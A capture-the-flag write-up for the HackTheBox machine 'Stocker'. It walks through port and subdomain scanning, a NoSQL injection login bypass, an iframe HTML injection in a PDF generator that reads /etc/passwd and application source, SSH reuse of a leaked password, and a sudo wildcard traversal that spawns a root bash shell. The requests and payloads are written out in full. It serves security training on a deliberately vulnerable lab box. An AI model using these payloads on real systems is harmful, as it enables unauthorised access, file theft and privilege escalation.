Stocker - HackTheBox
INTRODUCTION
Stocker is a nice and straight-forward box created by JoshSH on HackTheBox.
It involves exploiting an injection vulnerability, followed by an arbitrary file read vulnerability leading to retrieval of sensitive information that gives access to the box.
Finally, root on this box is obtained by exploiting a misconfigured sudo permission.
SCANNING
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
┌──(n3hal㉿Universe7)-[~]
└─$ rustscan -a 10.10.11.196 -r 1-65535 --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/n3hal/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.196:22
Open 10.10.11.196:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 01:31 EST
Initiating Ping Scan at 01:31
Scanning 10.10.11.196 [2 ports]
Completed Ping Scan at 01:31, 0.26s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:31
Completed Parallel DNS resolution of 1 host. at 01:31, 13.00s elapsed
DNS resolution of 1 IPs took 13.00s. Mode: Async [#: 1, OK: 0, NX: 0, DR: 1, SF: 0, TR: 3, CN: 0]
Initiating Connect Scan at 01:31
Scanning 10.10.11.196 [2 ports]
Discovered open port 22/tcp on 10.10.11.196
Discovered open port 80/tcp on 10.10.11.196
Completed Connect Scan at 01:31, 0.28s elapsed (2 total ports)
Nmap scan report for 10.10.11.196
Host is up, received syn-ack (0.26s latency).
Scanned at 2023-01-21 01:31:43 EST for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.73 seconds
A quick rustscan reveals port 22 and 80 to be open on the box.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(n3hal㉿Universe7)-[~]
└─$ nmap -sC -sV -p22,80 10.10.11.196
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 01:33 EST
Nmap scan report for 10.10.11.196
Host is up (1.0s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3d:12:97:1d:86:bc:16:16:83:60:8f:4f:06:e6:d5:4e (RSA)
| 256 7c:4d:1a:78:68:ce:12:00:df:49:10:37:f9:ad:17:4f (ECDSA)
|_ 256 dd:97:80:50:a5:ba:cd:7d:55:e8:27:ed:28:fd:aa:3b (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.53 seconds
Obviously, there is SSH service on port 22 and web service on port 80.
NMAP scan also reveals a domain name stocker.htb
. It is required to add it to the /etc/hosts
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
┌──(n3hal㉿Universe7)-[~]
└─$ nmap -sC -sV -p80 stocker.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 01:38 EST
Nmap scan report for stocker.htb (10.10.11.196)
Host is up (1.0s latency).
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-title: Stock - Coming Soon!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.05 seconds
ENUMERATING WEB
The website seems to be a static site with no signs of user interaction that can be exploitted.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌──(n3hal㉿Universe7)-[~]
└─$ wfuzz -c -u http://stocker.htb/FUZZ -w /usr/share/wordlists/dirb/big.txt --hc 404
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://stocker.htb/FUZZ
Total requests: 20469
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000005517: 301 7 L 12 W 178 Ch "css"
000007427: 200 0 L 4 W 1150 Ch "favicon.ico"
000007795: 301 7 L 12 W 178 Ch "fonts"
000009464: 301 7 L 12 W 178 Ch "img"
000010190: 301 7 L 12 W 178 Ch "js"
Total time: 2419.557
Processed Requests: 20469
Filtered Requests: 20464
Requests/sec.: 8.459812
Directory fuzzing did not reveal anything interesting here.
SUBDOMAIN ENUMERATION
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(n3hal㉿Universe7)-[~]
└─$ wfuzz -c -w /home/n3hal/Tools/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.stocker.htb' --hw 12 -f subs.txt 10.10.11.196
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.196/
Total requests: 4989
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000019: 302 0 L 4 W 28 Ch "dev"
Total time: 289.9951
Processed Requests: 4989
Filtered Requests: 4988
Requests/sec.: 17.20373
Subdomain fuzzing with SecLists
’s subdomains-top1million-5000.txt
reveals a subdomain dev
.
It is required to add dev.stocker.htb
to /etc/hosts
file.
BACK TO WEB ENUMERATION
When requesting the homepage of http://dev.stocker.htb/
, we are redirected to a login page at /login
.
Default credentails like admin:admin
, admin:password
, admin:stocker
, stocker:stocker
, stockeradmin:stockeradmin
etc. does not work here.
So if we are required to get past this login page, it is definitely got to be a server side vulnerability here.
DISCOVERING NOSQL INJECTION
The obvious vulnerability when it comes to a login page situation is injection
related vulnerability.
Common SQL injection payloads for authentication bypass does not provide any results here. SQLmap can also be used for detecting SQL injection if at all it is vulnerable to this.
However, the server side response headers reveal that we have an Express
application here.
Hence, it would be more useful if we test for NoSQLi
instead of traditional SQL injection.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AbJDgribzFlsxX6bWGc2SXpNYUW4JptWX.mZxgaHsLBo3x1QVe%2BJ0dWssycRJ6jSJkOelyyA2%2Fd9A
Upgrade-Insecure-Requests: 1
username=admin&password=admin
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 21 Jan 2023 07:53:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 92
Connection: close
X-Powered-By: Express
Location: /login?error=login-error
Vary: Accept
<p>Found. Redirecting to <a href="/login?error=login-error">/login?error=login-error</a></p>
A normal login request with admin:admin
as credentials responds with a 302
status code and redirects us back to /login
with the error
parameter. Well, this is expected as the credentials are not right.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 49
Origin: http://dev.stocker.htb
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3AbJDgribzFlsxX6bWGc2SXpNYUW4JptWX.mZxgaHsLBo3x1QVe%2BJ0dWssycRJ6jSJkOelyyA2%2Fd9A
Upgrade-Insecure-Requests: 1
{"username":{"$ne": "x"},"password":{"$ne": "y"}}
1
2
3
4
5
6
7
8
9
10
11
12
13
HTTP/1.1 302 Found
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 21 Jan 2023 07:58:16 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 56
Connection: close
X-Powered-By: Express
Location: /stock
Vary: Accept
<p>Found. Redirecting to <a href="/stock">/stock</a></p>
Now, here are few things worth noting:
- In the request, the
Content-Type
is changed toapplication/json
. - In the request body, a JSON object is being sent instead of URL-encoded POST parameters.
- What is most important here, is the content that are being sent in JSON object.
If the application supports injecting arbitrary objects/dictionaries in the user-controllable part, a malicious user can inject sub-dictionaries containing NoSQL operators which can lead to the manipulation of the logic of NoSQL query.
Here, the username
key has value {"$ne": "x"}
. The $ne
is basically a NoSQL operator meaning not equal to
. So the logic is something like find the user whose username is not equal to ‘x’. The similar thing can be explained for password
field.
Obviously, there must not be any user whose username
is x
and password is y
. So the backend query should return valid user details, and we must be able to authenticate ourselves, which is evident from the response redirection to /stock
instead of /login
.
Hence, here is a NoSQL injection which is used to bypass authentication.
DISCOVERING ARBITRARY FILE READ VULNERABILITY
Upon logged in, a user is redirected to /stock
.
It is basically a shop website, where a user can add some objects to basket, view his basket and then checkout.
After checking out, a PDF is generated detailing the purchase history of the user.
The PDF reflects the name
of the product and the price
.
Now this is interesting for us.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 195
Connection: close
Cookie: connect.sid=s%3AbJDgribzFlsxX6bWGc2SXpNYUW4JptWX.mZxgaHsLBo3x1QVe%2BJ0dWssycRJ6jSJkOelyyA2%2Fd9A
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<h1><u>Nehal Hacks For Good</u></h1>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 21 Jan 2023 08:21:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close
X-Powered-By: Express
ETag: W/"35-Tzjn01Rk42SDueMgKwQNQcjXLvw"
{"success":true,"orderId":"63cba087436910054f762153"}
While making an order, the title
key’s value is changed to <h1><u>Nehal Hacks For Good</u></h1>
.
In the response, the id
of generated pdf is sent.
It is seen that the injected HTML tags are successfully rendered. So we can inject arbitrary HTML tags now.
HTML injections can be escalated to arbitrary file read vulnerability through the iframe
tags. The source of the iframe
must be the name of the file we want to read.
1
2
3
<iframe frameborder='0' height='750' scrolling='no' src='/etc/passwd' width='750'></iframe>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 250
Connection: close
Cookie: connect.sid=s%3AbJDgribzFlsxX6bWGc2SXpNYUW4JptWX.mZxgaHsLBo3x1QVe%2BJ0dWssycRJ6jSJkOelyyA2%2Fd9A
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe frameborder='0' height='750' scrolling='no' src='/etc/passwd' width='750'></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
The source of the iframe
is /etc/passwd
, and in the PDF we can see the contents of /etc/passwd
.
The box has a user called angoose
.
RETRIEVING SENSITIVE INFORMATION
Using the arbitrary file read, we can not read the SSH
keys of the user.
In such cases, it is useful to read source code of the application to find any hardcoded secrets.
But for that, we first need to leak the path of the source code.
That can be easily done by simply invoking an error.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 10
Connection: close
Cookie: connect.sid=s%3AbJDgribzFlsxX6bWGc2SXpNYUW4JptWX.mZxgaHsLBo3x1QVe%2BJ0dWssycRJ6jSJkOelyyA2%2Fd9A
{"basket":
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 400 Bad Request
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 21 Jan 2023 08:38:55 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 953
Connection: close
X-Powered-By: Express
Content-Security-Policy: default-src 'none'
X-Content-Type-Options: nosniff
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Error</title>
</head>
<body>
<pre>SyntaxError: Unexpected end of JSON input<br> at JSON.parse (<anonymous>)<br> at parse (/var/www/dev/node_modules/body-parser/lib/types/json.js:89:19)<br> at /var/www/dev/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (node:async_hooks:203:9)<br> at invokeCallback (/var/www/dev/node_modules/raw-body/index.js:231:16)<br> at done (/var/www/dev/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/var/www/dev/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (node:events:513:28)<br> at endReadableNT (node:internal/streams/readable:1359:12)<br> at process.processTicksAndRejections (node:internal/process/task_queues:82:21)</pre>
</body>
</html>
In the order request, a malformed JSON object is sent. Obviously the server spits some errors.
The error contains the path of the application which is at: /var/www/dev
.
Now, we also need to know the name of the server application. Commonly developers tend to use names like index.js
, app.js
or sometimes server.js
.
Luckily, index.js
works, and we can see the source code of the application.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Origin: http://dev.stocker.htb
Content-Length: 260
Connection: close
Cookie: connect.sid=s%3AeswVmx8Xj3fWdbDyZkXnmL7Trz4KD0ED.CQnWD9TtWWM2AA%2BD4WHqa61FXdp8WsIdCGiQ22dK8V0
{"basket":[{"_id":"638f116eeb060210cbd83a8d","title":"<iframe frameborder='0' height='750' scrolling='no' src='/var/www/dev/index.js' width='750'></iframe>","description":"It's a red cup.","image":"red-cup.jpg","price":32,"currentStock":4,"__v":0,"amount":1}]}
In the database connection string, hardcoded credentials can be seen, dev:IHeardPassphrasesArePrettySecure
.
SHELL AS ANGOOSE
We have a valid username angoose
and a possible credential IHeardPassphrasesArePrettySecure
from index.js
.
If the user reuses the same credentials for SSH, we will be able to login to the box via SSH on port 22.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
┌──(n3hal㉿Universe7)-[~]
└─$ ssh angoose@stocker.htb
angoose@stocker.htb's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
angoose@stocker:~$ id; whoami
uid=1001(angoose) gid=1001(angoose) groups=1001(angoose)
angoose
We are successful in logging in to the box.
PRIVILEGE ESCALATION TO ROOT
1
2
3
4
5
6
7
8
9
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
The current user can run any javascript script which is supposed to be in /usr/local/scripts
with superuser permissions.
But note that we have a wildcard here.
With the wildcard, we can potentially use dot-dot-slash sequences to iterate through any arbitrary directory and run node scripts from any directory we can control.
1
2
3
4
5
6
7
angoose@stocker:~$ cat /tmp/curiosity.js
console.log("I can run any script from any directory with root permissions")
angoose@stocker:~$
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/curiosity.js
I can run any script from any directory with root permissions
To demonstrate what I said above, I have created a simple JS script in /tmp
.
Then I used ../
sequences to iterate from /usr/local/scripts
to /tmp/curiosity.js
. Since I ran the node script with sudo
we are able to run it with elevated privileges.
1
2
3
4
5
6
7
8
9
10
11
12
angoose@stocker:~$ cat /tmp/curiosity.js
require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})
angoose@stocker:~$
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/curiosity.js
root@stocker:/home/angoose#
root@stocker:/home/angoose#
root@stocker:/home/angoose# cd
root@stocker:~# id; whoami
uid=0(root) gid=0(root) groups=0(root)
root
I have edited the JS script to spawn a bash
shell.
So when we run the script again with sudo
, we got a root
shell.
CONCLUSION
As it can be seen, the box is pretty straight-forward. It seems a bit lengthy considering that it is an easy rated box.
The box is all about finding a juicy subdomain, followed by discovering a NoSQL injection vulnerability, an arbitrary file read vulnerability escalated from a simple HTML injection and finally discovering hardcoded reusable credentials.
The privilege escalation part is also something that can seen as pretty obvious.
So, that is all in this box.
Thanks for reading this far. I hope you liked it.